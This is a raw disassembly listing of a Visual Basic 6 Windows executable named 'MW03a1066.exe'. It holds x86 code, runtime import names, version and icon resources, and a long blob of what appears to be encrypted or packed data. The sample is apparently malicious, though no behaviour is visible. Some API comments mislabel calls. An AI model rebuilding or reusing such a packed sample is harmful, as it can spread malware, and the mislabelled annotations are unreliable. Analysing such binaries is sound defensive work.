		push	ecx
		mov	[edx+4], ebx
		mov	[ebp-70h], esi
		mov	dword ptr [ebp-78h], 800Bh
		mov	[edx+8], eax
		mov	eax, [ebp-5Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		push	eax
		lea	eax, [ebp-78h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-48h]
		mov	edi, eax
		call	dword ptr ds:loc_40100C
		cmp	di, si
		jz	short loc_41153C
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-18h]
		push	1
		push	4028FCh
		mov	[edx], ecx
		lea	ecx, [ebp-28h]
		push	ecx
		mov	[edx+4], ebx
		mov	[edx+8], eax
		mov	eax, [ebp-5Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		mov	edx, eax
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401006+2


loc_41153C:				; CODE XREF: .data:004114FCj
		push	404971h
		jmp	short loc_411557
; ---------------------------------------------------------------------------
		db 8Dh
		dd 4D8DA845h, 6A5150B8h, 1C15FF02h, 83004010h
		db 0C4h, 0Ch, 0C3h
; ---------------------------------------------------------------------------


loc_411557:				; CODE XREF: .data:00411541j
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401118
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 8C25Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0B4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011D0
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		mov	edi, dword ptr ds:loc_4010CF+1
		lea	ecx, [ebp-4Ch]
		mov	[ebp-24h], esi
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		mov	[ebp-4Ch], esi
		mov	[ebp-5Ch], esi
		mov	[ebp-6Ch], esi
		mov	[ebp-8Ch], esi
		call	edi	; PeekMessageA
		mov	edx, [ebp+10h]
		lea	ecx, [ebp-38h]
		call	edi	; PeekMessageA
		push	esi
		lea	edx, [ebp-5Ch]
		push	offset sub_4028A8
		push	edx
		call	dword ptr ds:loc_40109A+2
		lea	eax, [ebp-5Ch]
		lea	ecx, [ebp-34h]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010EA+2
		mov	edi, [ebp-78h]
		sub	esp, 10h
		mov	edx, esp
		mov	ecx, 4008h
		mov	ebx, [ebp-70h]
		lea	eax, [ebp-4Ch]
		mov	[edx], ecx
		push	1
		push	4028E0h
		lea	ecx, [ebp-5Ch]
		mov	[edx+4], edi
		mov	[ebp-84h], esi
		mov	dword ptr [ebp-8Ch], 800Bh
		mov	[edx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		push	ecx
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		lea	edx, [ebp-8Ch]
		push	eax
		push	edx
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-5Ch]
		mov	[ebp-0C0h], eax
		call	dword ptr ds:loc_40100C
		cmp	[ebp-0C0h], si
		jz	short loc_4116C0
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-4Ch]
		push	1
		push	4028FCh
		mov	[edx], ecx
		lea	ecx, [ebp-5Ch]
		mov	[edx+4], edi
		mov	[edx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		push	ecx
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		mov	edx, eax
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_401006+2


loc_4116C0:				; CODE XREF: .data:00411683j
		mov	edx, [ebp-4Ch]
		push	edx
		push	40291Ch
		call	dword ptr ds:loc_401026+2
		mov	edx, 0Bh
		sub	esp, 10h
		mov	[ebp-8Ch], edx
		mov	[ebp-0ACh], edx
		mov	edx, esp
		mov	ecx, 8
		mov	[ebp-5Ch], ecx
		mov	[ebp-54h], eax
		mov	[edx], ecx
		mov	ecx, [ebp-58h]
		sub	esp, 10h
		mov	dword ptr [ebp-84h], 0FFFFFFFFh
		mov	[edx+4], ecx
		mov	ecx, esp
		sub	esp, 10h
		mov	[edx+8], eax
		mov	eax, [ebp-50h]
		mov	[edx+0Ch], eax
		mov	edx, [ebp-8Ch]
		mov	eax, [ebp-88h]
		mov	[ecx], edx
		mov	edx, [ebp-84h]
		mov	[ecx+4], eax
		mov	eax, [ebp-80h]
		mov	[ecx+8], edx
		mov	edx, [ebp-0ACh]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp-0A8h]
		mov	ecx, esp
		push	3
		push	402930h
		mov	[ecx], edx
		mov	edx, [ebp-0A0h]
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		mov	[ecx+0Ch], edx
		lea	ecx, [ebp-6Ch]
		push	ecx
		call	dword ptr ds:loc_4010FC
		add	esp, 40h
		lea	edx, [ebp-24h]
		push	eax
		push	edx
		call	dword ptr ds:loc_4010EA+2
		lea	ecx, [ebp-5Ch]
		call	dword ptr ds:loc_40100C
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-38h]
		push	1
		push	402950h
		mov	[edx], ecx
		mov	[edx+4], edi
		mov	[edx+8], eax
		lea	eax, [ebp-24h]
		push	eax
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_40106E+2
		push	eax
		call	dword ptr ds:loc_4010EF+1
		add	esp, 1Ch
		lea	ecx, [ebp-24h]
		push	esi
		push	ecx
		call	dword ptr ds:loc_401100
		push	404BFFh
		jmp	short loc_4117D9
; ---------------------------------------------------------------------------
		db 8Dh,	55h, 94h
		dd 52A4458Dh, 0FF026A50h, 40101C15h, 0CC48300h
		db 0C3h
; ---------------------------------------------------------------------------


loc_4117D9:				; CODE XREF: .data:004117C3j
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-24h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-34h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_401118
		lea	ecx, [ebp-38h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-48h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-4Ch]
		call	edi	; PeekMessageA
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B500845h, 851FF08h,	8BFC458Bh, 5E5FEC4Dh, 0D8964h
		dd 5B000000h, 0C25DE58Bh, 9090000Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 4011E0h
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-18h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		call	dword ptr ds:loc_4010CF+1
		push	esi
		lea	edx, [ebp-48h]
		push	offset sub_4028A8
		push	edx
		call	dword ptr ds:loc_40109A+2
		mov	edi, dword ptr ds:loc_4010EA+2
		lea	eax, [ebp-48h]
		lea	ecx, [ebp-38h]
		push	eax
		push	ecx
		call	edi	; PeekMessageA
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-18h]
		push	1
		push	402964h
		mov	[edx], ecx
		mov	ecx, [ebp-54h]
		mov	[edx+4], ecx
		lea	ecx, [ebp-38h]
		push	ecx
		mov	[edx+8], eax
		mov	eax, [ebp-4Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		call	edi	; PeekMessageA
		push	esi
		lea	ecx, [ebp-28h]
		push	402974h
		push	ecx
		call	dword ptr ds:loc_40106E+2
		push	eax
		call	dword ptr ds:loc_4010EF+1
		add	esp, 0Ch
		push	404D11h
		jmp	short loc_4118F7
; ---------------------------------------------------------------------------
		db 8Dh,	4Dh, 0B8h
		dd 100C15FFh
		db 40h,	0, 0C3h
; ---------------------------------------------------------------------------


loc_4118F7:				; CODE XREF: .data:004118EBj
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401118
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 8C25Dh, 9E9E9E9Eh, 4D5Ch, 2 dup(0FFFFFFFFh),	4E80h
		dd 1000h, 5 dup(0)
		dd 4E8Eh, 4E98h, 4EA6h,	4EB6h, 4EC6h, 4ED6h, 4EE8h, 4EF8h
		dd 4F0Ch, 4F1Ch, 4F2Ah,	4F38h, 4F50h, 4F60h, 4F74h, 4F82h
		dd 4F92h, 4FA4h, 4FB6h,	4FCAh, 80000278h, 4FD4h, 4FE2h
		dd 4FF4h, 5008h, 5016h,	5026h, 5038h, 5044h, 5052h, 5060h
		dd 5074h, 80000258h, 508Ah, 5094h, 50B0h, 800002C7h, 50C6h
		dd 50D4h, 800002CCh, 50E6h, 50FAh, 510Ch, 511Ah, 80000285h
		dd 5128h, 5132h, 5148h,	5158h, 80000288h, 5168h, 517Ah
		dd 518Ch, 800002A9h, 519Ch, 51B0h, 51C2h, 800002ADh, 80000064h
		dd 51D0h, 51E2h, 51F6h,	5204h, 5214h, 522Ch, 5244h, 524Eh
		dd 525Eh, 5268h, 5272h,	527Ch, 528Ch, 0
aMsvbvm60_dll_0	db 'MSVBVM60.DLL',0
		align 10h
a_cicos		db '_CIcos',0
		align 4
		dd 615F0000h, 665F6A64h, 6E617470h, 0
a__vbavarmove_0	db '__vbaVarMove',0
		align 4
a__vbafreevar_0	db '__vbaFreeVar',0
		align 4
a__vbaarymove_0	db '__vbaAryMove',0
		align 4
a__vbastrvarm_0	db '__vbaStrVarMove',0
		dd 5F5F0000h, 4C616276h, 73426E65h, 7274h, 5F5F0000h, 46616276h
		dd 56656572h, 694C7261h, 7473h,	615F0000h, 665F6A64h, 5F766964h
		dd 34366Dh, 615F0000h, 665F6A64h, 6D657270h, 31h, 62765F5Fh
		dd 72745361h, 746143h, 5F5F0000h, 48616276h, 75736572h
		dd 6843746Ch, 4F6B6365h, 6A62h,	615F0000h, 665F6A64h, 5F766964h
		dd 32336Dh, 5F5F0000h, 41616276h, 65447972h, 75727473h
		dd 7463h, 5F5F0000h, 4F616276h,	65536A62h, 74h,	62765F5Fh
		dd 456E4F61h, 726F7272h, 0
a_adj_fdiv_m16i	db '_adj_fdiv_m16i',0
		align 4
		dd 615F0000h, 665F6A64h, 72766964h, 36316D5Fh, 69h, 62765F5Fh
		dd 72615661h, 65646E49h, 616F4C78h, 64h, 7349435Fh, 6E69h
		dd 5F5F0000h, 43616276h, 74736B68h, 6Bh, 62765F5Fh, 6C694661h
		dd 6F6C4365h, 6573h, 56450000h,	5F544E45h, 4B4E4953h, 6464415Fh
		dd 666552h, 5F5F0000h, 53616276h, 6D437274h, 70h, 62765F5Fh
		dd 72615661h, 45747354h, 71h, 62765F5Fh, 74755061h, 656E774Fh
		dd 3372h, 5F5F0000h, 49616276h,	344932h, 5F5F0000h, 4F616276h
		dd 61566A62h, 72h, 6A64615Fh, 6170665Fh, 6E6174h, 5F5F0000h
		dd 4C616276h, 49657461h, 6C614364h, 644C6Ch, 56450000h
		dd 5F544E45h, 4B4E4953h, 6C65525Fh, 65736165h, 0
a_cisqrt	db '_CIsqrt',0
		dd 56450000h, 5F544E45h, 4B4E4953h, 6575515Fh, 6E497972h
		dd 66726574h, 656361h, 5F5F0000h, 45616276h, 70656378h
		dd 6E614874h, 72656C64h, 0
a_adj_fprem	db '_adj_fprem',0
		align 4
		dd 615F0000h, 665F6A64h, 72766964h, 34366D5Fh, 0
a__vbafpexcepti	db '__vbaFPException',0
		align 4
a__vbastrvarv_0	db '__vbaStrVarVal',0
		align 4
		dd 5F5F0000h, 56616276h, 61437261h, 74h, 62765F5Fh, 56324961h
		dd 7261h, 435F0000h, 676F6C49h,	0
a__vbaerrorov_0	db '__vbaErrorOverflow',0
		align 4
		dd 5F5F0000h, 46616276h, 4F656C69h, 6E6570h, 5F5F0000h
		dd 56616276h, 56327261h, 6365h,	615F0000h, 665F6A64h, 5F766964h
		dd 6932336Dh, 0
a_adj_fdivr_m32	db '_adj_fdivr_m32i',0
		dd 5F5F0000h, 53616276h, 6F437274h, 7970h, 5F5F0000h, 46616276h
		dd 53656572h, 694C7274h, 7473h,	615F0000h, 665F6A64h, 72766964h
		dd 32336D5Fh, 0
a_adj_fdiv_r	db '_adj_fdiv_r',0
		dd 5F5F0000h, 56616276h, 65537261h, 72615674h, 0
a__vbalatemem_0	db '__vbaLateMemCall',0
		align 4
a__vbavardup_0	db '__vbaVarDup',0
		dd 5F5F0000h, 56616276h, 6F437261h, 7970h, 5F5F0000h, 56616276h
		dd 614C7261h, 654D6574h, 6C61436Dh, 644C6Ch, 5F5F0000h
		dd 56616276h, 65537261h, 6A624F74h, 72646441h, 6665h, 435F0000h
		dd 61746149h, 6Eh, 62765F5Fh, 72745361h, 65766F4Dh, 0
a_allmul	db '_allmul',0
		dd 435F0000h, 6E617449h, 0
a_ciexp		db '_CIexp',0
		align 4
		dd 5F5F0000h, 46616276h, 53656572h, 7274h, 5F5F0000h, 46616276h
		dd 4F656572h, 6A62h, 75Ah dup(0)
		dd 46F720A7h, 0
		dd 30000h, 3, 80000058h, 0Eh, 80000040h, 10h, 80000028h
		dd 0
		dd 46F720A7h, 0
		dd 10000h, 1, 80000080h, 0
		dd 46F720A7h, 0
		dd 10000h, 1, 80000098h, 0
		dd 46F720A7h, 0
		dd 30000h, 7531h, 800000E0h, 7532h, 800000C8h, 7533h, 800000B0h
		dd 0
		dd 46F720A7h, 0
		dd 10000h, 409h, 0F8h, 0
		dd 46F720A7h, 0
		dd 10000h, 0
		dd 108h, 0
		dd 46F720A7h, 0
		dd 10000h, 0
		dd 118h, 0
		dd 46F720A7h, 0
		dd 10000h, 0
		dd 128h, 0
		dd 46F720A7h, 0
		dd 10000h, 0
		dd 138h, 7150h,	1F0h, 4B0h, 0
		dd 7340h, 30h, 4B0h, 0
		dd 7370h, 128h,	4B0h, 0
		dd 7498h, 2E8h,	4B0h, 0
		dd 7780h, 130h,	4B0h, 3	dup(0)
		dd 3401F0h, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 2 dup(10000h), 0
		dd 10000h, 3 dup(0)
		dd 4, 1, 3 dup(0)
		dd 44h,	560000h, 720061h, 690046h, 65006Ch, 6E0049h, 6F0066h
		dd 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 150h, 530001h, 720074h, 6E0069h, 460067h
		dd 6C0069h, 490065h, 66006Eh, 6Fh, 12Ch, 300001h, 300034h
		dd 300039h, 420034h, 30h, 160038h, 500001h, 6F0072h, 750064h
		dd 740063h, 61004Eh, 65006Dh, 0
aT200700923_0:
		unicode	0, <T200700923>,0
		align 4
		unicode	0, <,>
		dw 0Ah
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a1_00:
		unicode	0, <1.00>,0
		align 10h
a0:
		unicode	0, <0>
		dw 0Ah
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0031h, 300030h, 0
		dd 160038h, 490001h, 74006Eh, 720065h, 61006Eh,	4E006Ch
		dd 6D0061h, 65h, 4D0076h, 300057h, 610033h, 300031h, 360036h
		dd 0
		dd 1E0048h, 4F0001h, 690072h, 690067h, 61006Eh,	46006Ch
		dd 6C0069h, 6E0065h, 6D0061h, 65h, 4D0076h, 300057h, 610033h
		dd 300031h, 360036h, 65002Eh, 650078h, 0
		dd 10000h, 20200003h, 10002h, 1300001h,	75310000h, 102020h
		dd 40001h, 2E8h, 10107532h, 10010h, 1280004h, 75330000h
		dd 28h,	10h, 20h, 40001h, 0
		dd 0C0h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 7 dup(0)
		dd 77F008h, 0FF080000h,	7077F0FFh, 0FFFF0F00h, 70F0FFh
		dd 0FFFF0F00h, 0F0FFh, 0FFFF0F00h, 0F0FFh, 0FFFF0F00h
		dd 80h,	800F00h, 0E00Eh, 0EE0E0000h, 0E0h, 0E00E00h, 9 dup(0)
		dd 2 dup(0FFFFh), 8FFFh, 3F8h, 1C0h, 7C0h, 5 dup(0FC0h)
		dd 7FC0h, 0FFC7h, 3 dup(0FFFFh), 28h, 20h, 40h,	40001h
		dd 0
		dd 280h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 1Ah dup(0)
		dd 7FF8F00h, 70h, 0
		dd 8F000000h, 7FFFFFFh,	7077h, 0
		dd 0FFFFFF08h, 7FFFFFFh, 707777h, 0FF000000h, 0FFFFFFFFh
		dd 7FFFFFFh, 7077h, 0FF000000h,	0FFFFFFFFh, 7FFFFFFh, 70h
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 8888FFh, 0
		dd 0FF000000h, 88FFFFFFh, 88h, 0
		dd 0FF000000h, 8888FFh,	0EEEE00h, 0
		dd 88000000h, 0EE000088h, 0EEh,	2 dup(0)
		dd 0EEEE00h, 2 dup(0)
		dd 0EE000000h, 0EEh, 22h dup(0)
		dd 5 dup(0FFFFFFFFh), 0FFC1FFFFh, 7F00FCFFh, 1F0080FFh
		dd 70000F8h, 1F0000F8h,	7F0000F8h, 0Bh dup(0FF0100F8h)
		dd 0FF3F00F8h, 0FFFF03F8h, 0FFFF3FF8h, 0FFFFFFFBh, 6 dup(0FFFFFFFFh)
		dd 28h,	20h, 40h, 10001h, 0
		dd 100h, 5 dup(0)
		dd 0FFFFFFh, 5 dup(0FFFFFFFFh),	0FFC1FFFFh, 7F3CFCFFh
		dd 1FFCC3FFh, 7FC3FF8h,	1FFCFFFBh, 7FFCFFFBh, 8	dup(0FFFDFFFBh)
		dd 0FFC1FFFBh, 0FF3DFCFBh, 0FFC1C3FBh, 0FF3F3CF8h, 0FFFFC3FBh
		dd 0FFFF3FF8h, 0FFFFFFFBh, 0Bh dup(0FFFFFFFFh),	0FFC1FFFFh
		dd 7F00FCFFh, 1F00C0FFh, 70000F8h, 1F0000F8h, 7F0000F8h
		dd 0Bh dup(0FF0100F8h),	0FF3F00F8h, 0FFFF03F8h,	0FFFF3FF8h
		dd 0FFFFFFFBh, 6 dup(0FFFFFFFFh), 1D4h dup(0)
off_414C00	dd offset off_414C00	; DATA XREF: sub_402EBD+9Dw
					; .data:off_414C00o
off_414C04	dd offset dword_40CC00	; DATA XREF: sub_402EBD+95w
off_414C08	dd offset dword_40CC00	; DATA XREF: sub_402EBD+90w
		align 10h
dword_414C10	dd 10h dup(0)		; DATA XREF: sub_402BAB+52o
dword_414C50	dd 1B45Bh		; DATA XREF: sub_402BAB+36r
					; sub_402C37+10Fr ...
		align 8
dword_414C58	dd 7C7F7DEDh, 0EF75C754h, 4020C82Ch, 82246106h,	41E2308Dh
					; DATA XREF: sub_402EBD:loc_402F7Ao
					; sub_402EBD:loc_4030A4o
		dd 20C1D963h, 0C1B06010h, 912D245Ah, 56AD16B0h,	2C2DB0BFh
		dd 2B4AF684h, 0DECB4859h, 3231C815h, 0D744814Ah, 0C360BACBh
		dd 5DB12427h, 0D4490F92h, 57D56DC4h, 13825588h,	4F81D839h
		dd 0D14AD4AAh, 0FB56B503h, 27EA12F4h, 0AF28E207h, 0ECB1C8D4h
		dd 0B99CF7EDh, 7EAEEAF7h, 0AFC4EA41h, 672CEC7Fh, 33DCCCEEh
		dd 399CE733h, 0EE667333h, 763E7068h, 42164C58h,	61C200C4h
		dd 7485DA21h, 47737176h, 9E1733B8h, 4D4E2999h, 76A2D9FBh
		dd 16CFEE5Bh, 0D5AB7A15h, 0BEBF9F64h, 33BE5FCAh, 0AEBCA2B9h
		dd 0BC903EAEh, 37F64943h, 0D75725D4h, 15E56725h, 0F7ACEF24h
		dd 0BF6ECB28h, 0BD12FA7Dh, 0F67B3F8Ch, 0FEFFB783h, 0C5A57EAh
		dd 0D5F1BEC8h, 0F9E29F96h, 0F32FEBCDh, 0FF5C7FF3h, 0D5DD3F1Ah
		dd 6F7A5E15h, 872EDD4h,	2C9B6B91h, 637C93BEh, 27D69193h
		dd 0D866D966h, 2225E0A6h, 0C4ED32C9h, 80F1781Ch, 0F1573AEDh
		dd 0DAFC4E32h, 35D9BE74h, 574BF4CBh, 9C49885h, 7CD712F1h
		dd 0AB760F9Ah, 50A4429Ch, 5B4427C0h, 2EC4F8ACh,	324E9265h
		dd 1B62592Ah, 40596F1Fh, 0F9E00C69h, 904E8662h,	9261046Bh
		dd 3CCBEDF5h, 847281E5h, 0BCEBA6E3h, 7618329Bh,	32C74690h
		dd 10AFEABFh, 1D3E0F3Ah, 0CF0A37CFh, 0B2E3331Eh, 0B38D5AC3h
		dd 0D8A338A0h, 597526B9h, 88AE6E56h, 0BA8BA8BAh, 0A8BA8BA8h
		dd 8BA8BA8Bh, 0BA8BA8BAh, 0FFBA8BA8h, 4B4A6EF6h, 0C7D4FAA5h
		dd 0C9ECBA8Ah, 57F7352Ah, 0F5E7AA95h, 0DBEDF50Ah, 4CACB515h
		dd 0AFE9BF51h, 0A1BC1F52h, 0A47FAFA8h, 7E220FA8h, 0FA8F45EDh
		dd 0FA8AFBDEh, 0D47BEFA3h, 0D479AFEAh, 0EA2B0F1Dh, 4BFEF097h
		dd 0D43A8A83h, 0B4EB51EEh, 3DDFF54Ah, 52535A8Ah, 0EF58DEA9h
		dd 0AD7E8F51h, 0ACFC9D42h, 5E39AEA2h, 2AE6A6A5h, 8A9999EAh
		dd 0EC6508BAh, 0B04A7D46h, 0DE0EFD4Ah, 42ACFCB7h, 0A56CF39Dh
		dd 56AFADFAh, 2BD727A8h, 4AFEE3EAh, 0A887DA75h,	0BC76650Fh
		dd 1A0B51E0h, 81DFD4AAh, 284F8D9Eh, 8A193BEAh, 0A3CF2BBAh
		dd 0BF340F7Eh, 0F50ACBF7h, 751EB5D9h, 0F52AFAC1h, 0EA3C1B37h
		dd 671D019h, 2B966679h,	3CB7C9EAh, 15DB9BEAh, 0DDA43DF5h
		dd 7514FFFBh, 0BA8F15F9h, 9A897577h, 3A8F75FEh,	5D4AA878h
		dd 0EA55753h, 50CEDF82h, 0F83AFA95h, 52B97FB0h,	9DFC0EBDh
		dd 37D454BFh, 9F91CB40h, 0E21B6A2Bh, 219DE0F7h,	5622A9A7h
		dd 8BB7AD14h, 36C02BFh,	74D9FC50h, 0E039F8BBh, 278CBA48h
		dd 3145D867h, 91021EE0h, 65957E20h, 0EC387717h,	7259B7E2h
		dd 0DB37C537h, 0FD99682Eh, 2DFFBC2Bh, 5DA64D60h, 80550038h
		dd 0BB38147h, 771D2BF0h, 9FF3032h, 21D5FF79h, 2F10B3E3h
		dd 7C5DBCFDh, 0B0015009h, 0CFBBFE21h, 0E7D77ACBh, 200945D8h
		dd 7FC64733h, 0FC5D88F8h, 47CDE013h, 5C9DFC64h,	0F801B8BBh
		dd 27FC2035h, 1FE4F185h, 0FB04FF62h, 0D953F676h, 327EC0BFh
		dd 67EC7DFBh, 7ECBDFB1h, 0D9C7FB27h, 947FB00Fh,	0C7EC25FDh
		dd 0F9367F48h, 1C09C382h, 5CE1C53Eh, 1FB00FF6h,	1271E9CFh
		dd 0A71F7D93h, 0C43FB00Fh, 5FEC8BFEh, 7D9DBF63h, 0D8F3FB17h
		dd 3B7F65AFh, 77EC6DFBh, 0FD857FB3h, 0CF5FD857h, 0AFEC1BFEh
		dd 0FB2B7F62h, 0B2CFF65Eh, 61E921DFh, 56FD87BFh, 3FD99BF6h
		dd 0FB20FEC9h, 0D87BECD9h, 3AFF638Fh, 8FD987FBh, 0FA493F65h
		dd 0E5AD1CCh, 48394A37h, 297D39CAh, 2E645387h, 70E2E94Eh
		dd 0ECA5FB0Bh, 1FBF65EFh, 0D130B7BEh, 0C207FA2Eh, 2E4737B4h
		dd 0F737B2D5h, 0FBFFE4CCh, 0DF17FB9Bh, 0B1BF9B7h, 0FFB3EEE6h
		dd 64D7EEF0h, 0E51E6D2Ah, 0F281A9D4h, 92CEDDDAh, 2BE515D4h
		dd 12ACD752h, 0C671696Ah, 0EE1B7A1Ah, 0BE6C215Ch, 0FFF69F82h
		dd 3CE29947h, 92F8DA1Ah, 563FF2BBh, 0FCD81D24h,	0EFE7E795h
		dd 0E5BC38C8h, 493F73D0h, 83E1FB6Dh, 0F6997F79h, 66B7CAD5h
		dd 0BE271ABFh, 7C5FB62Bh, 920656E1h, 0B7610633h, 0FEF54D89h
		dd 0EDC42B9Dh, 0A7742336h, 0C588644Dh, 0C4BC2160h, 56265A48h
		dd 0A3EE07AFh, 0EFB3620h, 138E9E21h, 0B0E4D362h, 0B21BBA8Dh
		dd 8129D4E5h, 0C09C2215h, 0AD40CC81h, 46A3B79Ah, 0CBA808A9h
		dd 0CFEE2E28h, 1E2698CDh, 0CCA2E604h, 7F507755h, 964F5FAh
		dd 0B7FF9E47h, 0BA688C6Ch, 0D8D6E40Ch, 0AEF54768h, 0C1E302F3h
		dd 4F0E647Eh, 91BC618Ah, 0E72B1922h, 9F5871E1h,	0DD7EFA3h
		dd 0DA0BB1CCh, 58CE2B0Ch, 0E16068BDh, 0CF38117Dh, 8BA6C444h
		dd 0FD963169h, 7040CFB5h, 1B4A903h, 0A9D58E1Bh,	2EF7E1B7h
		dd 0F9A24FEDh, 0A0AF0007h, 0F7C446ECh, 7DA39E03h, 0A0E831D3h
		dd 0F6A34EF6h, 570A235Eh, 903EA6A6h, 656EBA9Ah,	0D5D64C9Ah
		dd 0E1413200h, 0BA792D6Bh, 0FEE63D00h, 0D8C35A29h, 1A5E048Fh
		dd 0DBCE8EB5h, 0F36D900Bh, 7F66B7F1h, 0D12A10A5h, 0F9F62D31h
		dd 2323F111h, 82FB9DE2h, 0FDA42F65h, 0CF97ECEFh, 7541F0BDh
		dd 3C8FAFEFh, 0F23EBFF6h, 4F5DCBFEh, 0F1C1FE6Ch, 0CB663F9Fh
		dd 1858F8DAh, 83BE0EE5h, 0F81D3782h, 42A9ADE0h,	0F57673BCh
		dd 53DF2F9Ch, 0FBBF1BCh, 37BACFFCh, 0F4F7BD77h,	0E97F6FBCh
		dd 0D13F6F9Eh, 9FDAFF6Eh, 9FFEE777h, 8978BF8Fh,	0A33ED868h
		dd 0C7587924h, 973F775h, 0F017A2F4h, 8873B800h,	2CB85015h
		dd 0FB8856FCh, 56FC3AC5h, 7E056871h, 0D392A215h, 0C5AB101Eh
		dd 0F152841Ah, 3D1F88DBh, 75FD933h, 0CDFD8B58h,	0C28E2D9Ch
		dd 5B997965h, 0F64256C7h, 1D71369Ch, 97CE74A4h,	996FB23Dh
		dd 0ED3AA45Dh, 0AE7B0622h, 0E2EDDBB1h, 816EF47Dh, 14A27DE7h
		dd 67426435h, 7E6BA14Bh, 0E0AA2F51h, 0A09D8B97h, 16A8937Ah
		dd 2A1142B5h, 0AE1139DEh, 0A02AF7E0h, 0BEF00452h, 68AA6918h
		dd 622D7600h, 106B4805h, 3D5A41Eh, 0AE5C18BFh, 0C0A5AD03h
		dd 256F054Dh, 33C6EB78h, 42AD9C15h, 762DDB17h, 8DCADC8Ch
		dd 8E06FFBAh, 0C5A1B4FAh, 0DDB4EE86h, 0CFEEA76Fh, 92727CA3h
		dd 0DC87F59Dh, 8EEEDBBCh, 4EFD7BC8h, 317BE73Bh,	1F111EC9h
